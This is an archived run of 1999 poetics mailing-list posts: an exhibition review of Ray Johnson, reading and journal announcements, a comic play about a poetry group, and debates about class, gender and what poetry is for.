Why? This sets off my utopia-alarm. Except that I like venn diagrams too, and though I find I only understand new meanings when they overlap somewhere with what I already know or think about, I only go crazy for things that are completely different -- other other. Permeable group sounds like open to attack. Many to many sounds like Earl Gray which is to say the not my cup. I don't go to school so my reading is only two eyes, unsanctioned, and therefore independent but also subject to demands of time and motivation. What seems important to me now is not even that looking for commonalities but making the work, putting mine and others' work together for like or unlike, moving the work around in front of other eyes (and the ears! but we know that sense already), and being available to (being tolerant of!! without risking too much of the mental health) the unknown.

Whatsay?
J

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276. WENDY KRAMER
Ray Johnson Review
Tue 23 Mar 1999

Thrill compels me again to say a little of what i've recently seen. A retrospective of the collagist and mail artist Ray Johnson closed last Sunday at the Whitney Museum, and i could cry like a toddler to make it come back and stay a little longer. Three and a half hours of a Thursday afternoon in those marvelous rooms wasn't nearly enough time in Ray Johnson's filial company.

The only things of his that i'd seen before this exhibit were a few items in the Jargon archive at the Poetry Collection in Buffalo, and the Black Mountain College Dossier series book #4 that came out a couple of years ago. This exhibit, then, gave me a bigger window to press my nose to: forty-five-odd years' worth of window, arranged chronologically (the exhibitors admitted that

they'd set it up by time despite Ray Johnson's distrust of chronology, not to mention his antagonism towards museum exhibitions themselves. Still, hearkening back to an earlier List discussion over the value of archiving the avant-garde, the Ray Johnson exhibit was an example of such value to those artists/poets who, had it not been saved and later presented,would not have gotten to see the work at all. Moreover, it was a way to absorb at least some of the scope and continuity of Johnson's lifelong activity).

The exhibit began with some early paintings and collages; then, in the second room, it introduced Johnson's invention of the "moticos" (an anagram of the word"osmotic"). Like Schwitters's "merz" and Rauschenberg's "combine," Johnson's "moticos" is his term for his collage/assemblage work at that time (beginning sometime in the fifties). I was confused by the exhibit's description of what makes a moticos a moticos -- it seemed to have to do with a moticos being made of multiple kinds of material, including photographs, various kinds of paper, inks and washes, etc., but the collaging itself was clear: here was the beginning of a long and involved project of literal building and wordplay. Moving into the late 50s and into the 60s, the collages get chunky 3-d, with stacks of cardboard "tesserae" (a critic's term for Johnson's mosaic-like sanded, painted, and/or buffed blocks) abounding -- O, man after my own corrugated cardboard heart! oh joy! In "let it all hang out," the tesserae fell loosely into a pile towards the bottom of the piece. . . Lovely chaos!

It went on endlessly. There were portrait collages, which he created by drawing a subject's silhoutte and then making and re-making series of collages out of it, sometimes referring to different people than the ones he was supposedly portraying (it put me in mind of Gertrude Stein, of whom Johnson was a fan). In an accompanying videotaped interview with one of the portrait subjects, one man describes how Johnson came back, after tracing the man's silhouette, with 26 different resulting collages! Then, over the months that they were negotiating a selling price, Johnson mixed and matched and otherwise re-made several of the portraits.

There was a series of mail art made from Lucky Strike cigarette labels (happy sigh).

There was a "potato masher" series in one of the last rooms, lauding various people's mothers.

There was ephemera and mail art in glass tables throughout the exhibit. It was engrossing, and there was too little of it. There were documents from Johnson's New York Correspondance [sic] School, some of which described meeting activity and what everyone was wearing. There were homemade collage books. There was a letter from Joan Crawford thanking him for his fanmail. This little paragraph can't begin to cover it.

So many things for which i feel affinity. . . my personal faves then. First, affinity for his motifs:

Gertrude Stein, esp. when her head was inserted in the dollar bill where george washington normally is.

His wordplay, esp. in the series play on the word "ice" (both the Black Mountain book and the exhibit point out his preoccupation with the solid-liquid-gas states of changeable water), which became "lice" and "ire," of all things.

His use of the Jantzen swimming suit diver on a "zen" postcard.

A tuna fish label.

Marianne Moore. There was a series of collages based on her tri-corner hat. Also, there was another, earlier collage (reproduced in the Black Mountain College Dossier book) of her hat, with a big, open, diagrammatic mouth underneath, covering what would be her face.

Secondly, then, affinity for his methods:

Personal correspondence. His work is from one person to one other, often back and forth. The puns, jokes, context, and content have to do with the person to whom he is giving the collage. Such is the tender beauty of mail art and it's publicly intimate distribution system, the postal service.

Collaboration. Goes with the above. There was one piece in particular that was striking. A friend of his acquired multiple reproduction copies of the mona lisa. He sent one to Johnson. Sometime later, Johnson sent it back with a sort of rope coil on the face, as a play on something that was said or drawn (i can't remember which) in their accompanying letters.

Word-play. And not just of conventional words, as in the "ice" collages. Early on, Johnson drew and filled in glyphs from the contours of his individual moticos, which then made their way into later, further collages.

Continuation. His pieces are ongoing conversations. A pun or a theme moves through several incarnations. He destroys one collage (his own or that of a correspondent) to make another, and so on. The pieces aren't discrete.

Stacked cardboard. When i saw layers of cardboard glued together to get various depths, i jumped and scurried for joy. i read that he often used sandpaper to polish it and couldnt wait to get home and try it. i peered under the top layers, stared at the white paint coating each precarious column laughed and crammed my noggin with as much learning from his imagination as i could carry.

There was an engrossing video interview with Ray Johnson looping in one of the exhibition rooms. He had the most alluring, active pair of hands i've seen

on an ostensibly non-lesbian person (he was gay). He kept gesturing about how he worked. He was wearing a pullover sweater. i wanted to hug him.

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277. Eryque Gleason
Re: Renga
Tue 23 Mar 1999

---

don, i think it was list requirement at the time to participate or forever suffer the disdain of people who have more words than they know what to do with.

if i remember right, jordan davis and bill lluoma were among the most prlific renga-ers.

On Tue, 23 Mar 1999, Don Byrd wrote:

> *Some time back--my sense of chronology is never too good--*
> *there was a renga project on the net. I think I may have actually contributed to it, but most of the details have slipped my mind. Does any one remember it? Know who organized it? Know if it was archived anywhere?*
>
> *Best,*
>
> *Don Byrd*

↑ Index

278. Tom Beckett
Re: what poetry's for
Tue 23 Mar 1999

Mark,

I think poetry is _for_ _love_;that it is the fundamental science of emotional-epistemic investigation; & that it has more to do with questions than answers.

Tom Beckett

↑ Index

279. Grant Jenkins
Re: Renga
Tue 23 Mar 1999

> *Some time back--my sense of chronology is never too good--*
> *there was a renga project on the net. I think I may have actually contributed to it, but most of the details have slipped my mind. Does any one remember it? Know who organized it? Know if it was archived anywhere?*

> *Best,*
>
> *Don Byrd*

Don, There was a renga for Ginsberg after his death. Is that what you're thinking of? It was in the Fall of 97 (?), I think. Shouldn't it be archived in the Buffalo website? Grant

↑ Index

280. Mark Weiss
FYI--Academy of American Poets
Tue 23 Mar 1999

Here's an AP story that may be of interest to the group.

U.S. Academy of Poets Diversifies

By BETH J. HARPAZ

.c The Associated Press

NEW YORK (AP) -- All it took to shake up the Academy of American Poets were a few harsh words.

A year after it was criticized by two of its own as a bastion of white male elitism, the academy's board of chancellors is adding nine new members -- five of them female, two of them black and several of them known for their experimental styles.

``What we've set out to accomplish is to make this group more representative of the breadth and spectrum of poetry in America today,'' executive director Bill Wadsworth said Monday.

``The creaky rusty sound you're hearing now -- that's the gates of the academy of the future slowly opening,'' said Bob Holman, co-producer of the PBS series ``The United States of Poetry.''

Last fall, chancellors Carolyn Kizer and Maxine Kumin resigned to protest the board's lack of diversity. Wadsworth said their resignations and other criticisms prompted the changes.

The new members are Lucille Clifton, Robert Creeley, Louise Gluck, Yusef Komunyakaa, Heather McHugh, Michael Palmer, Adrienne Rich, Rosanna Warren and Charles Wright.

Ms. Clifton and Komunyakaa are black. Creeley and Palmer write in experimental styles.

Ms. Clifton was pleased at the diversity of the new board. ``It's lots of patches in a quilt -- all of them part of the American quilt,'' she said.

The new chancellors join John Ashbery, Jorie Graham, John Hollander, Richard Howard, Donald Justice, J.D. McClatchy, W.S. Merwin, Mark Strand and David Wagoner. All of them are white; Ms. Graham is the only woman.

``I'm delighted at the reorganization and I think it was worth all we went through in resigning, which was rather painful, although we had dozens of letters in support from all over the country, which was gratifying,'' said Ms. Kizer, who lives in Sonoma, Calif. ``The new group includes a couple of African-Americans who are distinguished poets, and that's a big step forward.''

Joseph Parisi, editor of Poetry magazine in Chicago, said: ``These are all people of great accomplishment. ... The reconstituted chancellorship is more representative of what's going on now.''

↑ Index

281. Andrew Rathmann
Re: Carl Martin
Tue 23 Mar 1999

Dear Standard:

I was surprised by Martin's book as well. Growing up in Winston-Salem, North Carolina, he was a regular at poetry and music events; I remember him giving some readings in the early 1980s. I assume that he still lives there. I don't think he works (though I'm not sure of this), and if information doesn't have him listed, you might try contacting him care of the English Department at Wake Forest University (I believe that he has taught some classes through them).

All the best,
Devin Johnston

^^^^^^^^^^^^^^^

Chicago Review
The University of Chicago
5801 South Kenwood Avenue
Chicago IL 60637
ph/fax: [redacted]
e-mail: [redacted]

↑ Index

282. P.Standard Schaefer
rhizome info
Tue 23 Mar 1999

For those of you who have asked, Rhizome is currently reading for the fourth issue and will be reading until July 15. So send your poems by then.

Of the utmost interest to us, however, is sharp reviews, essays, and translations. So if you have something to say about a book, please consider sending your review to us.

Books that I want reviewed include: M. Davidson's ARCADE, M. Bellen's TALES OF MURASAKI, L. Browns THE AGENCY OF WIND, the forthcoming Italian anthology by Sun & Moon Press, Carl Martin's GENII OVER SALZBURG, and the Hejinian/Scalapino collaboration SIGHT. Laura Moriarty's THE CASE, and Joan Retallack's HOW TO DO THINGS WITH WORDS.... ... .(A VERY PARTIAL LIST).

For translations, I'm sort of more interested in South Americans and Italians these days than the very well-represented French.

contact me either at [redacted] or at 366 S. Mentor Ave. #108, Pasadena, CA 91106.

↑ Index

283. Pete Neufeld
Re: gender class poetics poetry
Tue 23 Mar 1999

"Furthermore, there is no necessary or predetermined relation between class and poetic production. The meaning of those pressures and how they shape a life/work is a matter of careful study and analysis of particular situations."

I just wanted to interject at this point how important I think it is to mark this distinction, which Grant Jenkins brings up, clearly, because I think any discussion of "classing" poetry and the production of poetries teeters at the brink of overdetermining this relationship, which I think certainly exists. The question is relational, not absolute-- and there are some classifications that pass for "class" in the interpretation of poetry that I would resist-- the hack Marxism that equates "difficult" with "bourgeois." The conditions of literary production are more interesting than gathering up the 1040's of American poets and making a list for the modern state. It is also a distinction that produces meaning on the reader's side of things. Tentatively, I would venture that it may not be an intention in writing, but a condition, or perhaps more productive to caste it so. It is a concern one can foreground and trace through the reading of a text, or an author's work, or so on. And it is always there. And I think when

one reads with these concerns one takes an aesthetic to its most radical limit and asks how it relates to that other of itself, the real (whatever that might be) that the words are pointing towards or perhaps pointing in. And I would further venture that there is an overwhelming tendency (perhaps an Academic tendency (and I don't think "Academic" is a bad word, I even like some of them)) to look at literary movements as solely aesthetic resolutions, conflicts, reconciliations-- working outside of, or having an alterity to, the activities of the historically happening world of existence. I don't think either need cancel the other out, but establish an economy of reading which for me means introducing ethics into the discussion of the poetical, and specifically I'm thinking here that maybe Pound is the test for the this kind of reading or maybe even better, Dickinson. I'm just going to stop right here. Peter

↑ Index

284. Lowther,John

An Evening with the Atlanta Poetry Group [3.1.99]

Tue 23 Mar 1999

The Characters;

"Django" Prejsnar
    revolutionary & jazz poetist
Fernando Prunty
    tall man with a large suspicious-looking sack
James Sanders
    lawyer and beligerant trucker
Rebecca 'the wrecker' Hyman
    proprietor of the the APG's current den of operations
Luther Jondross
    ex-member of the line break police & sappy-bad r&b singer
Miguel Xavier Maogoolaham
    internet smut merchant and/or poet-type-guy
Two Students
    played Robbie the Robot & C3PO (both in drag)
Jimmy Dickey
    a private eye who's now foresaken his sensitive poet image
Finster
    a cat
Cagney and Lacy and Stacy
    two TV cop detective women staging a real-life pilot in their bid to make it back on the air in the age of 'real-TV' - in this quest they've added a new partner 'Stacy' played by Loretta Swit

The Camera Man
yet another character in drag

scene 1 [Rebecca's dining room]

Django Prejsnar : and with this ode i deliver another smashing blow to the corporate capitalist state!

[a grunt is heard drifting on the wind from downtown]

Luther Jondross : (in a croony singsong as always) but you did go out of turn and i don't think that sets a very good precedent for the post revolutionary world now, do you? (rummages around in his bag) hey i forgot something, i gotta run down to my car

scene two
[on the staircase - two students are walking up Luther is walking down]

Two Students: (in unison) um... do you know where Rebecca Hyman lives?

Luther: well ahh.. yes - upstairs in number 10. you haven't got violence on your mind or anything do you ? i see that you have suspicious under-arm bulges and very cop-like footwear...

Two students: (in unison) no. of course not. nothing like that. we are just students. students of rebecca hyman. we were just in the neighborhood. that is all. students.

Luther: (releaved) O, OK..

scene 3 [in the back of a surveilance van M.X.Maogooglaham is bound and seated on the floor - Jimmy Dickey sits in a chair listening to Luther and the Two Students on a tiny speaker]

Miguel: you'll never get away with this Dickey!

Dickey: shut up you (hits Miguel in the ear with a coffee cup)

scene 4 [rebecca's stark and inhospitable bohemian flat - Luther walks in the door]

Luther: where are the two students

Rebecca: they came, they left. they were supposed to meet someone at the cafe and got stood up so they came looking for me.

Luther: but where did they go ? i didn't see them on the stairs or coming back from my car - all i saw was a big dark colored cable repar van out there with some smack & groan noises coming out of it

James: well, i refrained from asking but i didn't think they looked like students - i thought they looked like the new class-09 surveilance droids the firm has taken to using whenever one of our temp secretaries calls in sick

Rebecca: i assure you i've seen them in class - they're always perfectly punctual

James: ah-ha!

Fernando: so, Luther did you find what you were looking for? (he raises an eyebrow suggestively)

[just then the door bursts open and in rushes Jimmy Dickey gun in hand in a trenchcoat with elbow patches]

Jimmy: nobody move or i'll blast you bunch a pinkos right where you sit

Fernando: (laughing) check out his fly!

[Dickey looks down and everyone lunges for him - in the struggle Django pauses after stepping on Dickey's toe and has a sip of his beer - a flying elbow shatters the glass and chaos erupts as the Two Students enter from the bathroom and attack - it's a free-for-all]

Luther: Ouch!

Two Students: (in unison) ZAP!

Fernando: POW!

Rebecca: i'll flunk you losers

James: ah-ha!

[everyone turns to look at James who triumphantly yanks the cords out of the backs of the two students leaving them immobile]

James: you see, they were droids - either we forgot that they'd come over and then gone to the bathroom together or they came in thru the mysterious window. but either way, their big mistake was in plugging themselves into the bathroom socket.

Jimmy: you better let me go you poet-freaks - i got yr friend Miguel Xavier Maogooglaham and if i don't walk outta here safe and sound he'll be buried under computer book contracts for the next 8 -10 months

Everyone (except Jimmy): Gasp!

[a tense silence follows.. finally Luther Rebecca Fernando James and Django start to speak all at once. everyone stops again]

Luther: i think i speak for all of us... we're not letting you leave Dickey - you see, it's just as easy to make fun of Miguel when he aint here as when he is -

and you definately ain't walking out of here until you autograph The Younger American Poets for us

Dickey: curses! oh alright, gimme it...

[Fernando hands it over]

Luther: say "to my dear friend Luther, you're more of a poet when you're flatulent than i when at my peak"

Fernando: wait aminute, that's MY book, Dickey, write "I'm a big loser and i wish i was cool enough to be in the APG."

Rebecca, James, Django: that's good... yeah

[at this point the APG realizes that someone has been hurt and that there is, as per the Stein title, BLOOD ON THE DINING ROOM FLOOR - Dickey's trenchcoat and paper towels are used to mop up the blood - meanwhile Django, discovering he's lost another finger cries out]

Django: dang it.. what next (he holds his arm up to help it stop bleeding)

[Cagney, Lacy & Stacy burst thru the doorway followed by a cameraman]

Cagney: alright nobody move

Lacy: yeah, take it easy everyone

Stacy: Klinger get a close up of Dickey (cameraman complies and we see that it's the lovable Corporal Klinger in a Mata Hari style ensemble) so what have we got here ?

Cagney : well - there's Luther Jondross, one time member of line break police - and that's Django Prejsnar

Lacy: these wd be the two droids i see

Cagney: yes...

Stacy: two worthless poets, two droids, two lamps, Jimmy Dickey and who might you be ? (she turns abruptly to James who had been sitting quietly at the table with a Weekly World News obscuring his face)

James: i'm their lawyer (he gestures toward Luther and Django) any questions you ask them you ask thru me, got it?

[there is obvious friction and desire in the room as Hotlips locks eyes with our not so nice trucker and bardly barrister]

Cagney: give it a rest, Stacy - let's just get Dickey and go rough him up a little, whataya say ?

[from out of nowhere Finster the cat lunges at the exposed ankle of Jimmy Dickey tearing away a hunk of flesh - he screams - the APG appauds - the police women momentarily forgetting their desire to do bodily harm to Dickey and attempt to keep Finster away from him]

Lacy: it's too dark in here - turn on one of these lamps.

Cagney: (reaching out she grasps Rebecca's earlobe and yanks) bulb must be burned out - these lamps are strange neither of the shades match but the bases are both wearing sweaters that neither match the shades or each other

Stacy: aesthetics is not our beat

[the cat is not found and Cagney, Lacy & Stacy drag Dickey out the door and down the hall - he can be heard pleading for a chance to write directions for the use of small appliances or perhaps school lunch menus - their cruel laughter drifts back into the apartment]

Fernando: (taking off his lampshade) that was close

Rebecca: (also removing hers and dropping it back into the suspicious sack brought by Prunty) and that yank on the lobe was an oucher!

Luther: well, cool, all that's over with. same time next week?

Rebecca, Django, Fernando, James, Finster: yeah. sure.

↑ Index

285. Kathleen Crown
announcing HOW2, a new on-line journal
Tue 23 Mar 1999

HOW2

Poetry's renegade path, as practiced by
Twentieth Century women writers & scholars

_____

. HOW2 will extend the alternatives and borders of HOW(ever) by going on-line and global. It will be edited tri-annually.

. HOW2 will focus on innovative reading/s--writing in answer to other writing, from opened perspectives & models. It will publish new works inside and out of the poem's genre; originals & reprints of essays; reflections, letters, journals, paragraphs, graphics; in-progress drafts, research, translations, alphabets, cross-overs.

HOW2 http://www.departments.bucknell.edu/stadler_center/how2 Inquiries to: <[redacted]> or <[redacted]>

Stay tuned! An archive of the hard-to-find print issues of _HOW(ever)_, published between 1981and 1992, will soon be available at Rutgers University Libraries, where the HOW2 website (archive and template for new issues) was designed and produced -- thanks to Miriam Bartha, current director of the "Poetry and the Public Sphere," and to the Rutgers-Princeton Center for Electronic Texts in the Humanities.

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286. Pete Neufeld
Reading Announcement
Tue 23 Mar 1999

Anne Carson, the noted poet and Hellenist from McGill University will be reading at San Francisco State University on Tuesday, April 6, 7:30 pm, in the Humanities Building room 281. This event is sponsored by the Classic Students Association. I hope that many of you will be able to make this event. Please backchannel any questions or for directions.

Thanks. Pete Neufeld.

↑ Index

287. Linda Russo
Re: Page Daughters & the Microwaveable Feast
Tue 23 Mar 1999

> *I think part of the problem is that I feel still quite young as a poet, perhaps I do not understand my poetics and influences and 'points' NOW as I will THEN. This is certain, no?*

or is it uncertain? I'm not so sure one understands one's poetics as much as one keeps them on as active and productive uncertainties. page mother kathleen fraser provides instruction in this area, in her letter to Andrea in her poem "Five letters from one window, San Gimignano, May 1981), which is available on her author page at the EPC. she writes: "one might sometimes think I was returning to the style of work i did twenty years ago . . . still i am just as uncertain and resistant, at the beginning of each work attempted, as I ever was . . . I'm trying to find a way to include these states of uncertainty"

So are 'we' at once in the shadow the shadow of uncertainty and overdetermination? Probably just being good little feminists if we are. which reminds me, ally mcbeal, a cultural worker? because she gets away with wearing a goofy sock hat? she _still_ makes me feel inadequate.

> *What was R Wolff's manifesto?*

she posted it here a while back. I don't remember what the subject line was. it was in relation to the journal she edits. (and to which I partially respond to in a post i am writing in my response to joel's response to page mothers, which i am working on, and rewriting, so it doesn't sound too much like a manifesto)

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288. **Tenney Nathanson**

POG: David Shapiro events (Arizona Quarterly Symposium; Tucson Poetry Festival)

Wed 24 Mar 1999

Poet, art critic, and musician David Shapiro will be featured in several events this coming Friday, Saturday, and Sunday, associated with both the Arizona Quarterly annual Symposium and the Tucson Poetry Festival (Shapiro's Poetry Festival reading is co-sponsored by POG).

On Friday at 8pm, Shapiro and Charles Bernstein will read to open the Poetry Festival. Temple of Music and Art.

On Saturday, at 10am, Shapiro will give the concluding presentation at the Arizona Quarterly Symposium (which begins on Thursday): "Poetry and Architecture: A Reading." The Symposium takes place at the "Swede Johnson" Alumni Building, NW corner of Speedway & Cherry; all events free and open to the public.

On Saturday afternoon at 2, Shapiro, Bernstein, and the other Tucson Poetry Festival featured poets will be part of a panel discussion on "Poetry and the Sacred." Temple of Music and Art.

On Sunday morning at 10, Shapiro will hold his Small Group Session for the Festival. Temple of Music and Art.

*

DAVID SHAPIRO, poet, art critic, and musician, has written more than twenty books since his first was published when he was eighteen years old. These books include Lateness, To an Idea, and House (Blown Apart), and the recent After a Lost Original (all from The Overlook Press). His many awards include the Zabel Prize from the American Academy and Institute of Arts and Letters, a Merrill Foundation grant, a Book of the Month Club Award, and a nomination for the National Book Award. As a critic he has written on both poetry and art, with books on John Ashbery, Piet Mondrian, Jasper Johns, and Jim Dine. Shapiro holds a Ph.D. from Columbia and has taught at Princeton, Brooklyn College, and at Cooper Union. Since 1980 he has taught a seminar at Cooper Union’s Channin School of Architecture. A forthcoming book by Shapiro, to be

published by Cooper Union, is a collaboration with Jacques Derrida. Shapiro is also an active playwright and exhibiting visual artist.

> To the Earth (by David Shapiro)
>
> I fell with my father through space
> Madly in love with the earth

The POG Poets & Artists Series is supported in part with grants from the Arizona Commission on the Arts and the Tucson/Pima Arts Council.

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso

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289. A. Jenn Sondheim
TWELVE HUNDRED BANGS FROM A SLAUGHTER (fwd)
Wed 24 Mar 1999

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TWELVE HUNDRED BANGS FROM A SLAUGHTER

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↑ Index

290. **Rebecca Wolff**

Re: shifts in modalities

Wed 24 Mar 1999

You need only take a look at the dismal thing that is the lowgrade grad seminar at the middle-ground state university in which, say, a bunch of middle class folks who "love books" or in this case "love poetry" and want to write papers about it and teach it are being agonizingly weaned by a well-trained, frustrated professorial practitioner who got her pHd, needless to say, somewhere entirely else, away from the practice of looking for "what it means" and toward the practice of coming up with salient materialistic points for their inevitably crappy papers to know why this particular shift will be the death of all joy in poetry. I have no doubt that it will happen, and it will suck.

↑ Index

291. **Rebecca Wolff**

Re: gender class poetics poetry

Wed 24 Mar 1999

This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are

uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

↑ Index

292. Maria Damon
Darkroom Collective?
Wed 24 Mar 1999

---

can anybody send me (backchannel) the e and snail mail addresses for members of the Darkroom Collective? I don't think they meet any longer, but i'd like to contact them about this special Bob Kaufman issue. thanks in advance. (aldon, are you out there?)--md

↑ Index

293. Poetics List
Jena Osman at Barnard
Wed 24 Mar 1999

This came in with a request to forward to the list. Chris

From: JLCR <[redacted]>
Date: 3/23/99 1:03 PM -0500

Women Poets at Barnard Presents Jena Osman on Thursday April 1 at 8pm Jena Osman the 1998 Winner of the Barnard Book prize for THE CHARACTER will be reading with Lyn Hejinian.

The reading will be held in Held Auditorium in Barnard Hall at Broadway and 117th street, NYC. Admission is free. Reception to follow.

↑ Index

294. Mark Prejsnar
Re: FYI--Academy of American Poets
Wed 24 Mar 1999

So according to the AP and/or the AAP, Creeley writes in "an experimental style."

I humbly submit that this underlines the truth i keep boring everyone with, to wit, the E word, and all its allied forms (the A compound word, the I word) are worse than useless. There is good, or interesting poetry, as i call it. And then there's the AAP.

And if at this late date they're still fretting about RC, things are even sadder than we suspected..

I close with a difficult quote from the experimental voice-poet elvis mcmanus II: i used to be disgusted, now i try to be amused.

mark prejsnar

↑ Index

295. **WENDY KRAMER**
Ray Johnson on moticos
Wed 24 Mar 1999

---

nancy burr was kind enough to forward this exerpt about moticos and what RJ says about them. and actually, this exerpt _was_ in the whitney exhibit; to my chagrin, i was too stuck on the physical materials they were made of to connect with this so lucid concept:

> *oh, this is fromTheories and Documents of Contemporary Art: A sourcebook of artists' writings, ed Kristine Stiles & Peter Selz:*
>
> *"What Is a Moticos? (1954)*
>
> *Editor's Note: On 3 November 1994, Ray Johnson, in response to questions from Kristine Stiles about the blank spaces and unfinished sentences in this text, said, "I don't know." When predssed further, Johnson again responded, "I don't know." After a long silence, Johnson said, "Why don't you put in 'I don't know'?" Johnson's responses are particularly poignant in light of his suicide on 13 January 1995.*
>
> *The next time a railroad train is seen going its way along the track, look quickly at the sides of the box cars because a moticos may be there. Whether the train is standing still or speeding past you, a moticos Don't try to catch up with it. It wants to go its way. But have your camera ready to snap its picture. It likes those moments of being inside the box. When your film is printed and the moticos is finally seen, it will not be seen, unless you paste the photograph of the moticos on the side of a box car so someone can see the moticos or take its picture. It may appear in your daily newspaper. Someone may put it there. Cut it out. Save it. Treasure it. Make sure it is in a box or between the pages of a book for your grandchildren to find and enjoy.*
> *The moticos is not only seen on railroad trains, but on It really isn't necessary to see the moticos or know where it is because I have seen them. Perhaps I might point them out to you. The best way is to go about your business not thinking about silly moticos because when you begin seeking them, describing what they are or where they are going is So just make sure you wake up from sleeping and go your way and go to sleep when you will. The*

> *moticos does that too and does not worry about you. Perhaps YOU are the moticos. Destroy this. Paste the ashes on the side of your automobile and if anyone asks you why you have ashes pasted on the side of your car, tell them.*
>
> *Or write the word 'moticos' on the top of your automobile. It loves moving and rain water. Not so many people will wonder what it means. There will be no questions, hence no need for answers. And if you have an automobile, drive to pleasant places because Have you seen a moticos lately? Perhaps you have. They are everywhere. As I write this I wish someone were here to point one out to me because I know they exist."*

thanks, burr

wendy

↑ Index

296. R. Tremblay-McGaw
class & gender
Wed 24 Mar 1999

The whole class issue is a complex one, and at the very least, warrants more attention and critical thought.

I don't think I believe that issues like class and gender "naturally" find their way into the work. There is a kind of erasure and the silencing imposed by super structures and codes of all sorts--formal and political, and so on that are at work beneath the surface. They erupt and transfigure the surface, "cellular" structure, if you will. It's the active engagement with them that interests me. And I guess I think that sometimes revolutions arise from the page.

Nothing is off limits. There is nothing inherently reductive about engaging with such issues on the page. I think of the work that Kathleen Fraser did via HOW(ever) to articulate/explore a feminist poetics in formally challenging work--very important for my own engagement.

I've found that some of the work of fellow feminist writers is "polite," operates with a certain decorum (I fight against this myself), that is claustrophobic. For me, there is a connection with class and gender and sexuality issues here. What I love about Dodie's Letters of Mina Harker is that she slays all those sacred cows requiring decorum. And I think that the formal dynamics of the Mina Letters can be discussed in terms of class. In fact, the wheels are spinning right now on this topic. Look out for an essay on this in the future.

Robin

↑ Index

297. miekal and
Re: Armand Schwerner Tablets
Wed 24 Mar 1999

Im working on a piece for armand schwerner & am having an impossible time finding anything from the tablets on the net, (if I go interlibrary loan it could take months out here), does anyone out there in popoland have ecopy of any, or know of any secret websites that may have excerpts? (who knows maybe alta vista is a shitty searchengine.)

Or mayhaps someone is courageous enuf to key in their own favorite or lovely sections & post it herefront.

just doesn't feel the sample without one-liners, something abt community.

miekal

↑ Index

298. Mark Prejsnar
Re: what poetry's for
Wed 24 Mar 1999

My claim has nothing to do with whether or not we can imagine there being no poetry. I'm not interested in developing a highly generalized anthropological theory. Poetry is a basic defining activity because it is one of the things (like music, baseball, juggling, physics, Monty Python) wherein people stretch out from what has been, into some dynamic and interesting thing-that-wasn't-there-before ("thing" meaning in this case as much an active involvement as a material object...)

And such stretching seems to me definitive of what is most interesting about us.

It is precisely because we can imagine humans without poetry, that poetry becomes exciting, and worthwhile...

No doubt my "basic defining activity" phrase was in some ways not the best for saying what i meant....But i was (and still am) trying to stress primarily the fact that poetry (and all similar art-activities) are things we do 'cause they are more enriching and more fun than...well, than not doing them. They should not be seen in functionalist terms and do not have a purpose.

Mp

On Tue, 23 Mar 1999, Lowther,John wrote:

> *a basic*
> *defining human activity*

as much sense
*to say *we* exist*
in order to do it,
as it does delusion
that it "exists for something."

not apprehendable in terms of function
ain't a functional thing

(..it is more an
activity than a thing, in fact, but that's another post...)

said mark prejsanar

sonar
is no marking of the sky

what is poetry for ?

the object/process bit rears its head
(..it is more an
activity than a thing, in fact

this is another post...)
says the interventionist

i am entertained by the suspicion that 'poetry'
as category term
is too something leads us down dark pathways toward definitions
that seem

fixed
as in
the price of fixity is unintelligibility

mark says
it's a basic
defining human activity

and i want to say it cd be
but that this sounds apologetic
eulogistic even
[taking my terms from Buchler
who i don't even like too much]

i question how much utility there is
in posing poetry as this primal human attribute
as it's too easy

> *to imagine there being no poetry at all*
>
> *mark further then he does etxt as i do revise;*
> *as much sense*
> *to say *we* exist*
> *in order to do it,*
> *as it does delusion*
> *that it "exists for something."*
>
> *yes*
> *yes me up and down to this*
> *unless*
> *"exists for nothing" is*
>
> *not apprehendable in terms of function*
> *ain't a functional thing*
>
> *because i think (doesn't 'mean' i am)*
> *but*
> *cdn't it be*
> *cdn't, not 'poetry'*
> *but a poem*
> *be a functional thing*
> *i'm trying to do that now and then others are too i know examples etc*
>
> *that 'resolution of art object and art process' piece*
>
> *poem as 'thought experiment'*
>
> *?*
>
> *)L*

↑ Index

299. **Thomas Bell**

Re: shifts in modalities

Wed 24 Mar 1999

I may be white, male, and of working class background. I still am a 'working' person and did put myself through a middle-ground state university by working my way through it. I attended some of the classes mentioned and wrote my share of crappy papers. I did eventually switch majors and depart from the scene referred to but I prefer to think it was because of my perceptiion of the

basically hypocritical and political atmosphere of literature and writing programs (this was thirty years ago so no one here need take offens). I find the comments below offensive to me, my children, and their teachers, among others.

Rebecca Wolff wrote:
>
> You need only take a look at the dismal thing that is the lowgrade grad
> seminar at the middle-ground state university in which, say, a bunch of
> middle class folks who "love books" or in this case "love poetry" and want
> to write papers about it and teach it are being agonizingly weaned by a
> well-trained, frustrated professorial practitioner who got her pHd,
> needless to say, somewhere entirely else, away from the practice of looking
> for "what it means" and toward the practice of coming up with salient
> materialistic points for their inevitably crappy papers to know why this
> particular shift will be the death of all joy in poetry. I have no doubt
> that it will happen, and it will suck.

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

300. **Tony Green**
Re: what poetry's for
Wed 24 Mar 1999

---

disquiet unquiet
drawn to death's teeth
smirking snorkeling
ask anyone

Tony Green

↑ Index

301. Katie Degentesh
6,500 reminder
Wed 24 Mar 1999

Just a reminder that 9x9's release party for its magazine, 6,500, is happening tomorrow night, Thursday March 25, at New College of California, 777 Valencia, San Francisco, 7:30 pm. Hope to see/meet some of you there!

--Katie

↑ Index

302. Grant Jenkins
defensive poetry
Wed 24 Mar 1999

> *This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.*

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

